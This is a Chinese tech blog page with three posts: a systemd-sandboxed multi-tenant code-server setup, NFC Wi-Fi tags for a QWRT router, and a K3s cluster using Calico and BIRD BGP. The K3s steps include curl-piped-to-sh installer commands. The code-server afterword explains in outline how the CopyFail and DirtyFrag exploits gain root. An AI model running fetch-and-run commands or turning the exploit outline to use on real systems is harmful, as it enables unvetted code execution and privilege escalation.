首页
隐私政策
iYoRoy DN42 Network
关于
更多
友情链接
Language
简体中文
English
Search
1
Docker下中心化部署EasyTier
3,750 阅读
2
给Android 4.9内核添加KernelSU支持
2,561 阅读
3
在TrueNAS上使用Docker安装1Panel
740 阅读
4
记一次为Android 4.9内核的ROM启用erofs支持
708 阅读
5
为博客启用Cloudflare SaaS接入实现国际分流
686 阅读
Android
运维
NAS
开发
网络技术
专题向研究
DN42
个人ISP
CTF
Kubernetes
网络安全
奇思妙想
物联网
登录
Search
标签搜索
网络技术
BGP
BIRD
Linux
DN42
Android
OSPF
C&C++
Web
AOSP
CTF
网络安全
Docker
iBGP
Windows
MSVC
服务
Kernel
IGP
TrueNAS
神楽悠笙
累计撰写
34
篇文章
累计收到
23
条评论
首页
栏目
Android
运维
NAS
开发
网络技术
专题向研究
DN42
个人ISP
CTF
Kubernetes
网络安全
奇思妙想
物联网
页面
隐私政策
iYoRoy DN42 Network
关于
友情链接
Language
简体中文
English
搜索到
34
篇与
的结果
充分利用systemd的特性构建多租户CodeServer
分析 起因是大学Python课,不想每次课都带笔记本过去太重了,尝试能不能一个平板就搞定。找来找去发现coder/code-server: VS Code in the browser很符合要求,同时还能兼顾跨平台。当时自己部署了一个玩玩,后来朋友他们也想要,就在思考怎么弄能够兼顾多租户和安全性。最开始想到的是容器化,但是因为涉及到pip安装新的包,容器化不太好做,可能得把python的site-package什么的一堆都给持久化,而且性能也不好,所以还是打算使用二进制部署。 需求很简单,大致概括如下: 每个用户可以用自己的域名登录进入CodeServer 每个用户可以自己修改登录密码 每个用户的Python环境完全隔离,可独立安装pip包 用户间不应该能互相访问到对方的文件 防止用户误操作删掉系统关键组件 防止用户误操作写出死循环之类的耗尽服务器资源 防止用户利用服务器挖矿/做跳板攻击别人 经过分析和与ai的讨论,最终定下来的方案大致是这样: 利用Linux自己的多用户机制,每个用户在自己的家目录下运行一个CodeServer做最基础的隔离。这样需求145可以很轻松的实现; 监听端口根据uid计算。每个用户下手动创建一个venv,并通过.bashrc让用户启动shell的时候自动启用,解决需求3; 利用systemd的限制来限制进程的行为,实现一定程度上实现需求6-7 利用systemd的Path机制监听$HOME/.config/code-server/config.yaml的修改并自动重启daemon,使得用户可以通过修改配置文件来改登录密码,较为优雅地实现需求2。 对于7,我觉得根据大一同学的计算机水平倒是不用太担心(应该吧?) 没有直接断网是因为考虑到有些需求需要联网下软件包,或者可能涉及到爬虫操作什么的。systemd的限制应该已经能拦截绝大部分恶意操作了。 本文讨论不涉及SELinux,因为个人认为当前需求使用SELinux有点过度设计了,并且我也对SELinux/SEPolicy不太熟(这才是主要原因吧233),同时也想尽量让用户在合理使用过程中不受限制,因此并未使用SELinux来限制。 部署 配置systemd 下载下来codeserver二进制文件传到服务器上,比如我丢在/usr/bin/code-server。然后编写systemd配置,创建/etc/systemd/system/
[email protected]
: # /etc/systemd/system/
[email protected]
[Unit] Description=Code-Server for %i After=network.target [Service] Type=simple User=%i Group=%i WorkingDirectory=/home/%i MemoryMax=1G CPUQuota=150% TasksMax=200 IOWeight=50 ProtectSystem=strict PrivateTmp=yes PrivateDevices=yes NoNewPrivileges=yes RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX # ExecStart=/bin/bash -c "PASSWORD=$(echo -n "%i" | md5sum | cut -d' ' -f1) /usr/bin/code-server --bind-addr 0.0.0.0:$((7000 + $(id -u %i))) --auth password" ExecStart=/bin/bash -c ' \ PORT=$((7000 + $(id -u %i) %% 10000)); \ /usr/bin/code-server --bind-addr 0.0.0.0:$PORT; \ ' Restart=always RestartSec=5 [Install] WantedBy=multi-user.target 这里创建的文件名是
[email protected]
,@之后的内容会被当作%i替换。设计上是利用%i传递用户名称,计算端口并自启动。端口计算逻辑是7000+uid%10000,一般创建的uid是1000开始,因此正好按照创建顺序从8000开始监听端口。 值得注意的是这部分配置: MemoryMax=1G CPUQuota=150% TasksMax=200 IOWeight=50 ProtectSystem=strict PrivateTmp=yes PrivateDevices=yes NoNewPrivileges=yes RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX (我懒得解释了,让ai解释一下吧) 它主要分为两个方面:资源限制(Resource Control) 和 安全沙盒隔离(Security and Sandboxing)。 一、 资源限制 (Resource Control) 这部分利用 Linux 的 cgroups 机制,防止该服务消耗过多系统资源,影响其他程序运行。 MemoryMax=1G 作用: 限制该服务最多只能使用 1GB 的内存。 结果: 如果服务尝试使用的内存超过 1GB,系统(OOM Killer)会强制杀死该进程以保护系统。 CPUQuota=150% 作用: 限制该服务的 CPU 使用率最高为 150%。 结果: 100% 代表一个完整的 CPU 核心。150% 意味着该服务最多可以占满一个核心,并使用第二个核心的一半(即最多使用 1.5 个 CPU 核心的算力)。 TasksMax=200 作用: 限制该服务可以创建的最大任务(进程或线程)数量为 200 个。 结果: 防止服务因为遭遇漏洞或死循环(如 Fork Bomb)而无限创建子进程,从而耗尽系统 PID 资源使系统崩溃。 IOWeight=50 作用: 设置磁盘 I/O(输入/输出)的权重。默认值通常是 100。 结果: 设置为 50 意味着当系统 I/O 繁忙时,该服务获得磁盘读写资源的优先级低于默认服务,防止它在大量读写文件时卡死整个系统。 二、 安全与隔离 (Security & Isolation) 这部分通过 Linux 命名空间(Namespaces)和其他内核安全机制,将服务“关在笼子里”,即使服务被黑客攻破,也能将破坏降到最低。 ProtectSystem=strict 作用: 严格保护系统文件。 结果: 将整个操作系统的文件系统(/ 根目录及其下的所有内容,除了 /dev, /proc 和 /sys 等特殊 API 目录)对该服务设为只读。该服务无法修改、覆盖或删除任何系统核心文件。 PrivateTmp=yes 作用: 为该服务提供独立的临时文件目录。 结果: 服务会看到一个自己专属的 /tmp 和 /var/tmp 目录。它无法看到或修改其他用户/服务放在全局 /tmp 中的文件,反之亦然。这能有效防止基于临时文件的符号链接攻击或数据泄露。 PrivateDevices=yes 作用: 隔离物理设备。 结果: 为该服务挂载一个私有的 /dev 目录,里面只包含伪设备(如 /dev/null, /dev/zero, /dev/urandom 等)。该服务将完全看不到真实的物理硬件设备(如硬盘 /dev/sda、USB 设备等),彻底杜绝了直接读写底层块设备的可能。 NoNewPrivileges=yes 作用: 禁止权限提升。 结果: 确保该服务及其所有子进程,无论如何都无法获得新的系统权限。即使服务调用了一个带有 SUID 位的程序(比如 sudo 或 su),也无法借此提升为 root 权限。 RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX 作用: 限制该服务可以使用的网络协议族。 结果: 该服务只能使用: AF_INET:IPv4 网络通信 AF_INET6:IPv6 网络通信 AF_UNIX:本地 UNIX 域套接字(用于本地进程间通信) 除此之外的网络协议(例如底层的数据包抓取 AF_PACKET、蓝牙 AF_BLUETOOTH 等)全部被内核拦截。这大大减少了网络层面的攻击面。 创建新用户时直接: adduser <username> systemctl enable --now code-server@<username> 即可同时创建对应的CodeServer服务 配置修改密码自动重启 创建文件/etc/systemd/system/
[email protected]
: # /etc/systemd/system/
[email protected]
[Unit] Description=Monitor code-server config change for %i After=network.target [Path] PathChanged=/home/%i/.config/code-server/config.yaml [Install] WantedBy=multi-user.target 创建文件/etc/systemd/system/
[email protected]
: [Unit] Description=Triggered safe restart for %i [Service] Type=oneshot User=root ExecStart=/usr/local/bin/safe-restart-codeserver.sh %i [Install] WantedBy=multi-user.target 这里的运行逻辑是这样的: 第一步:启动监控 (由 .path 文件负责) 系统或管理员启动了code-server-restart@<username>.path。 systemd会解析这个.path文件,将%i替换为用户名。 PathChanged=/home/<username>/.config/code-server/config.yaml:systemd 会在内核层面(利用 inotify 机制)开始静默监听这个特定路径的 config.yaml 文件。 第二步:检测变更并触发 在 code-server 网页端修改了设置,或者通过命令行直接编辑了 config.yaml 并保存。 PathChanged 检测到文件被修改并且被关闭(这意味着写入已完成,避免读到写了一半的脏数据)。 隐式绑定: 因为 .path 文件中没有使用 Unit= 显式指定要触发哪个服务,systemd 的默认行为是触发与它同名去掉后缀的 .service 文件。 于是,systemd 自动拉起 code-server-restart@<username>.service。 第三步:执行动作 (由 .service 文件负责) systemd 开始执行 code-server-restart@<username>.service。同样,这里的 %i 也会被替换为用户名。 Type=oneshot:告诉系统这不是一个常驻后台的服务,而是一次性的任务。执行完就结束。 User=root:这个重启操作需要较高的权限,因此强制以 root 身份执行。 ExecStart=/usr/local/bin/safe-restart-codeserver.sh <user>:这是整个逻辑的最终落脚点。系统以 root 身份运行了这个自定义的 shell 脚本,并将用户名作为参数传递给它。 没有直接在restart.service里重启主daemon,因为考虑到CodeServer编辑文件是每修改一点就会自动保存,因此当用户修改密码过程中,可能会存在修改了一半就被触发重启,导致后面的部分没有成功写入的情况,因此编写了一个脚本,判断等文件没有修改之后才触发重启: /usr/local/bin/safe-restart-codeserver.sh #!/bin/bash USER_NAME=$1 CONFIG_FILE="/home/$USER_NAME/.config/code-server/config.yaml" STAMP_FILE="/tmp/code-server-restart-${USER_NAME}.stamp" # 1. 前置拦截:如果记录文件存在,且配置文件比记录文件旧(或时间相同) # 说明这一次触发是 systemd 排队遗留下来的无意义事件,直接退出 if [ -f "$STAMP_FILE" ] && [ "$CONFIG_FILE" -ot "$STAMP_FILE" ]; then echo "Config hasn't changed since last restart, exiting." exit 0 fi # 2. 原有的防抖等待逻辑(保持不变) while true; do last_md5=$(md5sum "$CONFIG_FILE") sleep 5 current_md5=$(md5sum "$CONFIG_FILE") if [ "$last_md5" == "$current_md5" ]; then # 文件稳定了,执行重启 systemctl restart code-server@$USER_NAME # 3. 关键动作:重启成功后,更新时间戳文件的修改时间 touch "$STAMP_FILE" break else echo "Config file for $USER_NAME is still changing, waiting..." fi done 那个时间戳机制是为了防止多次触发导致无效重启,若检测到配置文件编辑时间早于上次重启时间则拒绝重启。 完成编辑后启用触发器:systemd enable --now code-server-restart@<username>.path(注意是.path不是.service),接着在web界面中尝试缓慢编辑config文件中的密码,查看日志就可以发现类似于如下记录: ○
[email protected]
- Triggered safe restart for lyr Loaded: loaded (/etc/systemd/system/
[email protected]
; disabled; preset: enabled) Active: inactive (dead) since Sat 2026-06-06 06:43:55 UTC; 29s ago Invocation: 0bd37fcb6ea44a58870c06b4fde5300c TriggeredBy: ●
[email protected]
Process: 6997 ExecStart=/usr/local/bin/safe-restart-codeserver.sh lyr (code=exited, status=0/SUCCESS) Main PID: 6997 (code=exited, status=0/SUCCESS) Mem peak: 2.5M CPU: 43ms Jun 06 06:43:40 CodeServer systemd[1]: Starting
[email protected]
- Triggered safe restart for lyr... Jun 06 06:43:45 CodeServer safe-restart-codeserver.sh[6997]: Config file for lyr is still changing, waiting... Jun 06 06:43:50 CodeServer safe-restart-codeserver.sh[6997]: Config file for lyr is still changing, waiting... Jun 06 06:43:55 CodeServer systemd[1]:
[email protected]
: Deactivated successfully. Jun 06 06:43:55 CodeServer systemd[1]: Finished
[email protected]
- Triggered safe restart for lyr. 当停止编辑5秒之后CodeServer才会重启,后续可以使用新密码登录。 配置Python venv 首先系统里需要安装Python3,这就不多赘述了,包管理器直接装即可。同时安装一个python3-venv: apt install python3-venv 接着,进入用户的家目录,我选择创建了一个名为.venv的文件夹用于存放虚拟环境。在.venv中执行python3 -m venv myvenv创建一个名叫myvenv的虚拟环境,并在用户的.bashrc后加上一行: fi fi +source ~/.venv/myvenv/bin/activate 之后,启动shell的时候就会自动启用venv。 为CodeServer安装Python插件并指派使用venv 这一步就不过多赘述了,在网页上给CodeServer安装Python和调试器插件,并指定Python解释器为venv下的python即可。 后记 其实这个配置很早就做了但是一直没写,当时还没爆出来CopyFail和DirtyFrag这样的漏洞。爆出来的时候第一时间做了测试,发现这套systemd配置阴差阳错的全都防住了,大致分析如下: 因为CopyFail使用了一个特殊的套接字类型:AF_ALG,而systemd配置只允许AF_INET AF_INET6 AF_UNIX这三种,因此CopyFail无法提权。DirtyFrag也是同理,其利用的AF_NETLINK、AF_RXRPC、AF_ALG都被禁止了。 同时,NoNewPrivileges=yes也是最后的防线,代码的最终目标是篡改/usr/bin/su植入恶意ELF shellcode或篡改/etc/passwd清空root密码,随后调用具有setuid权限的su命令来获取 root 权限。而NoNewPrivileges一旦设置,该进程及其派生的所有子进程,无论执行什么程序,都绝对无法通过文件的setuid或setgid标志获得更高的权限。退一万步讲,即使后续有漏洞找到了某种手段绕过了网络限制,并成功将/usr/bin/su替换成了恶意Shell,当它执行su时,弹出来的依然是一个低权限用户的Shell,提权彻底沦为空谈。 本文没有讨论SELinux,因为当前方案在“朋友共用、非生产核心”的场景下是可接受的简化,避免了配置错误导致功能不可用的风险和运维复杂度,但实际上systemd的这些沙盒选项主要基于namespace和cgroup隔离,并不能完全替代强制访问控制(也就是SELinux和AppArmor这类ACL),对于需要更高安全等级的租户隔离(如不可信用户之间需防止内核漏洞逃逸),SELinux/AppArmor仍然是主流。 当然,这个方案也存在其他一些局限,比如当用户非常多,或者uid分配有特殊需求,超过10000时原先计算端口的方式可能会失效;对于科学计算等其他正常需求,目前的限制可能过于严格等。本文仅作为一种思路探讨和参考。 碎碎念:在容器化和云原生的时代,传统systemd还有很多值得我们去探求的特性可以做到很多事情呢…… 参考文章: systemd.git - A fork of systemd to make components more independant
2026年06月06日
24 阅读
0 评论
1 点赞
为小米BE10000路由器的QWRT适配NFC功能
分析 将小米BE10000刷入QWRT后,设备的网络潜能确实得到了极大的释放,2.5G 猫棒、SFP+接口等高级特性均能完美工作,唯一美中不足的是原厂自带的NFC碰一碰连Wi-Fi功能失效了。查询资料知道,NFC标签本质上是一块挂载在主板上的EEPROM芯片。使用i2cdetect进行扫描: root@QWRT:~# i2cdetect -l i2c-1 i2c QUP I2C adapter I2C adapter i2c-2 i2c QUP I2C adapter I2C adapter i2c-0 i2c QUP I2C adapter I2C adapter root@QWRT:~# i2cdetect -y -r 0 0 1 2 3 4 5 6 7 8 9 a b c d e f 00: -- -- -- -- -- -- -- -- -- -- -- -- -- 10: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 20: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 30: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 40: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 50: -- -- -- -- 54 -- -- -- -- -- -- -- -- -- -- -- 60: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 70: -- -- -- -- -- -- -- -- 扫描结果很快锁定,设备挂载在I2C总线0上,物理地址为0x54。 NFC碰一碰连WiFi则用的是标准的NDEF格式的数据(Ref: Wi-Fi Simple Configuration — ndeflib 0.3.2 documentation),因此只需要按照标准将数据写入EEPROM即可复现NFC碰一碰连接功能。 实现 本文内容仅探讨 OpenWrt/QWRT 系统的底层硬件驱动适配与 NDEF 标准协议的封装。文中涉及的硬件参数系基于公开规范文档与通用 I2C 调试工具探测得出。本项目为个人研究兴趣,未包含、也未分发任何厂商专有二进制代码。仅供技术交流学习,请勿用于商业用途,因尝试本文操作导致的设备损坏风险需由读者自行承担。 提取数据构造NDEF数据 要实现自动根据Wi-Fi账号密码更新NFC数据,首先得拿到当前的Wi-Fi账号密码。在OpenWrt上,这部分配置全部由UCI (Unified Configuration Interface) 管理,因此我们只需要读取 UCI 中的 wireless 配置文件即可。 为应对现代手机的兼容性问题。早期的设备通常使用Device Password Token触发WPS协商,但现代Android/iOS系统已经限制了这种行为。为了兼顾兼容性,我们需要遵循Wi-Fi Simple Configuration (WSC)规范,将配置打包成 WLAN Configuration Token (凭证配置令牌)。(Ref: Wi-Fi Simple Configuration — ndeflib 0.3.2 documentation) 将OpenWrt的无线加密模式(如WPA2、WPA3-SAE)精准映射为 WSC 规范定义的 Hex 代码: 0x1003: 认证类型 (Authentication Type) 0x100F: 加密类型 (Encryption Type) 0x1045: SSID 0x1027: 网络密钥 (密码) 通过脚本自动遍历并选举出桥接到lan的首选AP(wifi0),将其属性转换为Hex字符串,我们就得到了一串标准的NDEF注入载荷。 写入NFC EEPROM NFC的EEPROM在接收长串的NDEF数据时,如果连续写入太快,或者单次写入块过大,容易导致芯片的I2C状态机死锁。 经过测试,最终选择使用i2ctransfer工具来进行分片原子写入。两个关键的时序细节: 由于通信限制,每次循环只切片取 4 个字节,带有寄存器地址递增的方式进行片段写入。 在每次 4 字节的 block 写入之间,强制加上10毫秒的时序延迟,给芯片留下足够的内部擦写时间。最后对不足 4 字节的数据用 0x00 补零。 实现更改Wi-Fi信息自动触发写入 为了尽量贴合OpenWRT的架构,原先通过下hook的方式尝试了,但是发现经常会hook不上,最后加了三层fallback: LuCI前端触发: 通过在/etc/uci-defaults/下注册钩子,将NFC同步脚本与系统的ucitrack机制绑定。当用户在LuCI中修改了Wi-Fi密码并点击“保存并应用”,系统就会在后台自动更新NFC数据。 Hotplug层: 在/etc/hotplug.d/iface/70-nfc中添加热插拔监听事件。当路由器的lan或wifi接口发生ifup状态改变时,系统能够自动触发调度。 定时任务: 若所有方式都没能触发,每隔15秒会强制检查一次并判断是否需要更新NFC数据。 同时,考虑到NFC芯片的EEPROM擦写次数是有限的。如果网络接口重启一次就全量重写一次,芯片很快就会报废。因此,在底层的nfc-sync调度脚本中,引入了简单的哈希校验机制: 脚本被唤醒后,首先提取当前的 wireless 配置并计算 MD5 值。 将其与缓存在/var/run/nfc-wireless.md5中的旧哈希进行对比。 只有当 MD5 值发生实际变化时,才会真正下发 I2C 写入指令。 否则直接终止流程。 结合/var/lock/nfc-sync.lock的并发文件锁,这套逻辑确保了在任何网络抖动、多重事件并发的情况下,NFC硬件的寿命都能得到绝对的保障。 经过测试,发现是能够自动更新的: 代码仓库:KaguraiYoRoy/be10000-qwrt-nfc: NFC Userland Implementation of QWRT for Xiaomi BE10000 (RC01) Router 参考文章: Wi-Fi Simple Configuration — ndeflib 0.3.2 documentation
2026年05月25日
28 阅读
0 评论
0 点赞
从零构建跨地域 K3s 集群 - Calico 无封装 CNI
前言 其实老早就想玩玩 K8s 集群了,一直觉得没有足够的知识支撑,玩起来比较的费劲就没尝试。 前段时间好好研究了一下 DN42 和 BGP, OSPF 之类的组网协议,发现现在理解起来不那么费劲了,于是果断上手 K3s( 选择 K3s 而不是 K8s 主要原因还是其轻量化:资源要求低,部署不需要拉一大堆镜像,有国内镜像……总之就是,觉得 K3s 比较符合我的需求。 咱是刚开始研究 K3s 的小白,若有错误还请各位大佬手下留情~ 分析 CNI 组件的选择 我目前的网络架构是这样的: graph TD subgraph ZeroTier Domestic subgraph WDS Gateway <--> VM1 Gateway <--> VM2 end NGB <--> Gateway HFE-NAS <--> Gateway NGB <--> HFE-NAS end subgraph IEPL Global-NIC <==OSPF==> CN-NIC end subgraph ZeroTier Global HKG02 <--> HKG04 TYO <--> HKG04 TYO <--> HKG02 end CN-NIC <--> NGB CN-NIC <--> HFE-NAS CN-NIC <--OSPF--> Gateway Global-NIC <--OSPF--> TYO Global-NIC <--OSPF--> HKG02 Global-NIC <--OSPF--> HKG04 %% 样式定义:设置为橘色背景、加粗边框以代表路由器 classDef router fill:#f96,stroke:#333,stroke-width:2px,font-weight:bold; class Global-NIC,CN-NIC,Gateway router; 其中, WDS 节点是个 ProxmoxVE,下挂多个 VM ,通过 OSPF 广播其 VM 的 IPv4 Prefix 地址,香港节点需要访问到 WDS 节点下挂 VM 时便可以通过加入 OSPF 内网实现多跳可达。这样封装层数也只有1层,不需要担心 MTU 消消乐。 我打算在 WDS 下新开两个 VM 分别用作主控和一个节点(暂且称其为 KubeMaster 、KubeNode-WDS1),然后 HKG04 (暂且称为KubeNode-HKG04) 也当作一个节点接入 K3s。 最简单的方式其实是直接通过 K3s 默认的 Flannel 作为 CNI,但是 Flannel 是基于 VXLAN 的,再套一层我现有的内网的话就会产生如下 MTU 消消乐的情况: 数据包 -> Flannel VXLAN封装 -> ZeroTier封装 -> 物理链路 实际容器间通信可用 MTU 大概得压缩到 1350 甚至更低。因此,我尝试寻找一个能直接基于这套内网工作的 CNI 方案,然后就找到了 Calico。了解下来知道 Calico 是以 BGP 作为底层寻路协议,支持通过 No-Encapsulated 即无封装模式启动,数据包直接交由上层路由器处理路由,因此选择 Calico 作为 CNI 组件。 路由设计 为了保证中间节点的路由器可以知道如何路由 Pod 的 IP,而 KubeMaster 和 KubeNode-WDS1 在 ProxmoxVE 主机下,他们需要跨越整个内网与 HKG04 建立 BGP, 因此这就意味着中间每一级路由都需要学习到完整的 BGP 路由,这样才能打通这样的路由路径: graph LR subgraph WDS KubeMaster KubeNode-WDS1 Gateway end subgraph IEPL CN-Namespace Global-Namespace end KubeNode-WDS1 <--> Gateway KubeMaster <--> Gateway <--> CN-Namespace <--> Global-Namespace <--> HKG04 %% 样式定义:突出显示具备路由功能的节点 classDef router fill:#f96,stroke:#333,stroke-width:2px,font-weight:bold; class Gateway,CN-Namespace,Global-Namespace router; 否则,中间的任何一跳都会因为不认识来源/目标 IP 导致丢包。同时,由于 iBGP 从邻居学到的路由,不能继续传递给下一个 iBGP 邻居的特性,Gateway、CN-Namespace、Global-Namespace 与节点间的 BGP Session 都需要启用 Route Reflector, 否则节点无法正确互相学习到路由。 虽然但是,其实这种架构更适合做 BGP Confederation ( BGP 联邦),但是我现有的网络已经很复杂,再加 BGP 联邦会让后期维护起来比较麻烦,而且我的节点数量也不多,iBGP Full Mesh 的开销还能接受。 绝对不是因为我懒( 所以最终网络路由结构是这样的: graph TB subgraph WDS VM1 VM2 Gateway end subgraph IEPL CN-Namespace Global-Namespace end VM1 <-.Calico iBGP Full Mesh.-> VM2 VM1 <--iBGP Route Reflector--> Gateway VM2 <--iBGP Route Reflector--> Gateway <--iBGP--> CN-Namespace <--iBGP--> Global-Namespace Gateway <--iBGP--> Global-Namespace HKG04 <-.Calico iBGP Full Mesh.-> VM1 Global-Namespace <--iBGP Route Reflector--> HKG04 VM2 <-.Calico iBGP Full Mesh.-> HKG04 classDef router fill:#f96,stroke:#333,stroke-width:2px,font-weight:bold; class Gateway,CN-Namespace,Global-Namespace router; 虚线部分的 BGP Session 是 Calico 自动创建的,实现部分是需要我们手动指派创建的 保留 Calico 自己的 iBGP Full Mesh 是为了后续可扩展性考虑,使得各个节点之间可以尽量通过 ZeroTier P2P 优先建立直连网络,而不是从 Route Reflector 汇聚路由器转发绕一圈。 部署 理清了结构之后部署就很简单了。 开启内核转发并关闭 rp_filter 老生常谈。 echo "net.ipv4.ip_forward=1" >> /etc/sysctl.conf echo "net.ipv6.conf.default.forwarding=1" >> /etc/sysctl.conf echo "net.ipv6.conf.all.forwarding=1" >> /etc/sysctl.conf echo "net.ipv4.conf.default.rp_filter=0" >> /etc/sysctl.conf echo "net.ipv4.conf.all.rp_filter=0" >> /etc/sysctl.conf sysctl -p 安装 K3s Master 因为 KubeMaster 主控节点在境内,所以最好配置一下镜像加速: mkdir -p /etc/rancher/k3s cat <<EOF > /etc/rancher/k3s/registries.yaml mirrors: docker.io: endpoint: - "https://docker.m.daocloud.io" quay.io: endpoint: - "https://quay.m.daocloud.io" EOF 使用镜像源安装: curl -sfL https://rancher-mirror.rancher.cn/k3s/k3s-install.sh | \ INSTALL_K3S_MIRROR=cn INSTALL_K3S_EXEC=" \ --flannel-backend=none \ --disable-network-policy \ --cluster-cidr=10.42.0.0/16" sh - 需要注意的是要指定 --flannel-backend=none 和 --disable-network-policy 来禁用默认 CNI 组件。 使用 cat /var/lib/rancher/k3s/server/node-token 查看 Token ,并记录下来。 WorkerNode 境内节点配置镜像加速: mkdir -p /etc/rancher/k3s cat <<EOF > /etc/rancher/k3s/registries.yaml mirrors: docker.io: endpoint: - "https://docker.m.daocloud.io" quay.io: endpoint: - "https://quay.m.daocloud.io" EOF 然后使用镜像源安装 K3s 并加入集群: export INSTALL_K3S_MIRROR=cn export K3S_URL=https://<主控节点 IP>:6443 # 换成你的主节点实际IP export K3S_TOKEN=K10...你的TOKEN...::server:xxx # 换成第一步获取的完整TOKEN curl -sfL https://rancher-mirror.rancher.cn/k3s/k3s-install.sh | sh - 这个时候各个节点的状态应该是 NotReady 的,因为缺少 CNI 组件。 安装 Calico 并配置 No-Encap 模式 在主控上手动下载下来 https://raw.githubusercontent.com/projectcalico/calico/v3.26.1/manifests/tigera-operator.yaml ,安装 Calico 算子: kubectl create -f tigera-operator.yaml 配置自定义资源,创建一个 custom-resource.yaml 文件: apiVersion: operator.tigera.io/v1 kind: Installation metadata: name: default spec: # 添加镜像注册表配置 registry: quay.m.daocloud.io calicoNetwork: ipPools: - blockSize: 26 cidr: 10.42.0.0/16 encapsulation: None natOutgoing: Enabled nodeSelector: all() 此处通过指定 encapsulation: None 来设置 No-Encap 模式。想要修改 IPv4 CIDR 也可以在这里改。随后 kubectl apply -f custom-resource.yaml 执行安装。使用: kubectl get pods -A -o wide 查看 Pod 状态,等待各个节点拉取完成即可。 配置 BGP 拓扑 节点打标 通过给节点打标来指定 WDS 下的节点全都连接到 WDS 节点的 Gateway 的 BGP,境外节点全部连接 Global Namespace 的 BGP: kubectl label nodes kubemaster region=WDS kubectl label nodes kubenode-wds-1 region=WDS kubectl label nodes kubenode-hkg04 region=Global Calico 配置 编写 yaml 配置文件: apiVersion: crd.projectcalico.org/v1 kind: BGPPeer metadata: name: route-reflector-domestic spec: nodeSelector: region == 'Domestic' # 这部分其实没用上,我原来设计的是 Domestic 区域有个总体的汇聚路由 peerIP: 100.64.0.108 asNumber: 64512 --- apiVersion: crd.projectcalico.org/v1 kind: BGPPeer metadata: name: route-reflector-wds spec: nodeSelector: region == 'WDS' peerIP: 192.168.100.1 asNumber: 64512 --- apiVersion: crd.projectcalico.org/v1 kind: BGPPeer metadata: name: route-reflector-global spec: nodeSelector: region == 'Global' peerIP: 100.64.1.106 asNumber: 64512 这部分的意思是: 所有 region 标签为 Domestic 的节点都添加一个连接到 100.64.0.108 (即境内汇聚路由)的 BGP Session,使用 AS 64512 所有 region 标签为 WDS 的节点都添加一个连接到 192.168.100.1 (即 WDS 节点所有 VM 的 Gateway)的 BGP Session,使用 AS 64512 所有 region 标签为 Global 的节点都添加一个连接到 100.64.1.106 (即境外汇聚路由)的 BGP Session,使用 AS 64512 借此实现上文图示的,所有 WDS 节点下的 VM,包括主控和 KubeNode-WDS1 都接入到 WDS 节点的 Gateway 汇聚路由,境外区域的所有节点都接入到境外部分的汇聚路由。 配置汇聚路由 iBGP 这部分直接写 Bird 配置文件就行了,简单( 这里举几个例子: k3s/ibgp.conf: function is_insider_as(){ if bgp_path.len > 0 && !(bgp_path ~ [= 64512 =]) then { return false; } if net ~ [ 10.42.0.0/16{16,32} ] then { return true; } return false; } template bgp k3sbackbone{ local as K3S_AS; router id INTRA_ROUTER_ID; neighbor as K3S_AS; ipv4{ table intra_table_v4; import filter{ if is_insider_as() then accept; reject; }; export filter{ if is_insider_as() then accept; reject; }; next hop self; extended next hop; }; ipv6{ table intra_table_v6; import filter{ if is_insider_as() then accept; reject; }; export filter{ if is_insider_as() then accept; reject; }; next hop self; }; }; template bgp k3speers{ local as K3S_AS; neighbor as K3S_AS; router id INTRA_ROUTER_ID; rr client; rr cluster id INTRA_ROUTER_ID; ipv4{ table intra_table_v4; import filter{ if is_insider_as() then accept; reject; }; export filter{ if is_insider_as() then accept; reject; }; next hop self; }; ipv6{ table intra_table_v6; import filter{ if is_insider_as() then accept; reject; }; export filter{ if is_insider_as() then accept; reject; }; next hop self; }; }; include "ibgpeers/*"; ibgpeers/backbone-cn.conf: protocol bgp 'k3s_backbone_cn_v4' from k3sbackbone{ neighbor fd18:3e15:61d0:cafe:f001::1; }; ibgpeers/master.conf: protocol bgp 'k3s_master_v4' from k3speers{ neighbor 192.168.100.251; }; 主要是几个汇聚路由之间最好不要开 Route Reflector,以及记得开 next hop self。 全部完成之后使用 kubectl get nodes 应该能看到节点状态都 Ready 了: NAME STATUS ROLES AGE VERSION kubemaster Ready control-plane 2d23h v1.34.5+k3s1 kubenode-hkg04 Ready <none> 11h v1.34.6+k3s1 kubenode-wds-1 Ready <none> 2d7h v1.34.5+k3s1 使用 kubectl get pods -A -o wide 查看 Pods: NAMESPACE NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES calico-system calico-kube-controllers-64fc874957-6bdlz 1/1 Running 0 5h38m 10.42.253.136 kubenode-hkg04 <none> <none> calico-system calico-node-2qz82 1/1 Running 0 4h24m 10.2.5.7 kubenode-hkg04 <none> <none> calico-system calico-node-dhl2c 1/1 Running 0 4h24m 192.168.100.251 kubemaster <none> <none> calico-system calico-node-nbpkj 1/1 Running 0 4h23m 192.168.100.252 kubenode-wds-1 <none> <none> calico-system calico-typha-7bb5db4bdc-rfpwg 1/1 Running 0 5h38m 10.2.5.7 kubenode-hkg04 <none> <none> calico-system calico-typha-7bb5db4bdc-rwwr5 1/1 Running 0 5h38m 192.168.100.251 kubemaster <none> <none> calico-system csi-node-driver-jglwp 2/2 Running 0 5h38m 10.42.64.68 kubenode-wds-1 <none> <none> calico-system csi-node-driver-jqjsc 2/2 Running 0 5h38m 10.42.253.137 kubenode-hkg04 <none> <none> calico-system csi-node-driver-vk26s 2/2 Running 0 5h38m 10.42.141.16 kubemaster <none> <none> kube-system coredns-695cbbfcb9-8fx4p 1/1 Running 1 (7h27m ago) 2d23h 10.42.141.14 kubemaster <none> <none> kube-system helm-install-traefik-crd-5bkwx 0/1 Completed 0 2d23h <none> kubemaster <none> <none> kube-system helm-install-traefik-m9fgj 0/1 Completed 1 2d23h <none> kubemaster <none> <none> kube-system local-path-provisioner-546dfc6456-dmn4g 1/1 Running 1 (7h27m ago) 2d23h 10.42.141.15 kubemaster <none> <none> kube-system metrics-server-c8774f4f4-2wkwh 1/1 Running 1 (7h27m ago) 2d23h 10.42.141.12 kubemaster <none> <none> kube-system svclb-traefik-999cddce-hpmcm 2/2 Running 6 (7h26m ago) 11h 10.42.253.134 kubenode-hkg04 <none> <none> kube-system svclb-traefik-999cddce-q4225 2/2 Running 2 